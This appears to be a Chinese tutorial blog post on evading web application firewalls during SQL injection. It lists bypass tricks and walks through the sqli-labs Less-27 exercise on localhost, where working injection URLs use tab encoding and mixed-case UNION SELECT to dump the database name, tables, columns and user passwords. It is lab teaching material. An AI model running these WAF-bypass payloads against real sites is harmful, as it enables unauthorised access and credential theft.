绕过waf mysql爆库_waf绕过注入

WAF 是什么？

全称 Web Application Firewall (WEB 应用防护系统)，与传统的 Firewall (防火墙) 不同，WAF 针对的是应用层。

安全是一个不断对抗的过程，有防护手段，就有相应的绕过手段。

渗透测试过程中，WAF 是必定会遇到的，如何绕过 WAF 就是一个问题。

WAF绕过的手段千变万化，分为3类

白盒绕过

黑盒绕过

Fuzz绕过

白盒绕过

如果绕过：

大小写变形：Or,OR,oR

等价替换：and → && ,or → ||

……(例如 OorR)

白盒下的绕过主要针对源码进行审计，分析函数功能，构造特定的包进行绕过

黑盒绕过

架构层绕过 WAF

寻找源站(针对云 WAF)

利用同网段(绕过防护区域：例如WAF部署在同一网段的出口，使用网段的主机进行攻击，流量不经过WAF 。)

理解边界漏洞(绕过防护区域:例如利用 SSRF 对其内部进行测试)

资源限制角度绕过 WAF

POST大 BODY

协议层面绕过 WAF 的检测

请求方式变换：GET 变为 POST

Content-Type 变换：application/x-www-form-urlencoded;multipart/form-data;

参数 污染(在服务器交互的过程中，Http 允许 get 或者post 多次传同一个参数值，造成覆盖，配合WAF 解析的先后规则有可能绕过 WAF 的防护)

协议未覆盖绕过 WAF

SQL注释符的绕过

函数分割符号

1、云waf：

在配置云waf是(通常是CDN包含的waf)，dns需要解析到cdn的ip上去，在请求uri时，数据包就会先经过云waf进行检测，如果通过再将数据包流给主机。常见产品：阿里云防护，腾讯与防护，创于云等。

2、主机防护软件：

在主机上预先安装了这种防护软件，和监听web端口的流量是否有恶意的，所以这种从功能上讲，较为全面。常见产品：云锁，安全狗等。

3、硬件防护软件：

硬件waf可以理解为流量代理，一般部署方式都需要流量经过他，针对数据包进行拆包-》清洗-》规则名中国-》放行/丢弃。常见产品：各产品铁盒子waf

为什么waf可被绕过：

1、业务与安全存在一定冲突

2、waf无法100%覆盖语言，中间件，数据库的特性。

3、waf本身存在的漏洞。

waf白名单机制：

waf存在某些机制，不处理和拦截白名单中的请求数据：

1、指定IP或IP段的数据

2、来自于搜索引擎爬虫的访问数据。

3、其他特征的数据

Less-27实战演示：

注：因为我们输入的空格与--+这些符号都被系统处理为空，无法通过。这里我们用了空格，union，select，--+绕过，%09或%0a代替空格，'3  分号代表闭合，后面的代码就不会执行。

1、爆库 security

http://127.0.0.1/sqli/Less-27/?id=0%27%09UnIon%09SeLect%091,database(),'3

2、爆表：users

http://127.0.0.1/sqli/Less-27/?id=0'%09UnIon%09SeLect%091,(SeLect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),'3

3、爆字段：username,password

http://127.0.0.1/sqli/Less-27/?id=0'%09UnIon%09SeLect%091,(SeLect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09 table_name='users'),'3

4、爆数据：username,password

http://127.0.0.1/sqli/Less-27/?id=0'%09UnIon%09SeLect%091,(SeLect%09group_concat(username,password)%09from%09users),'3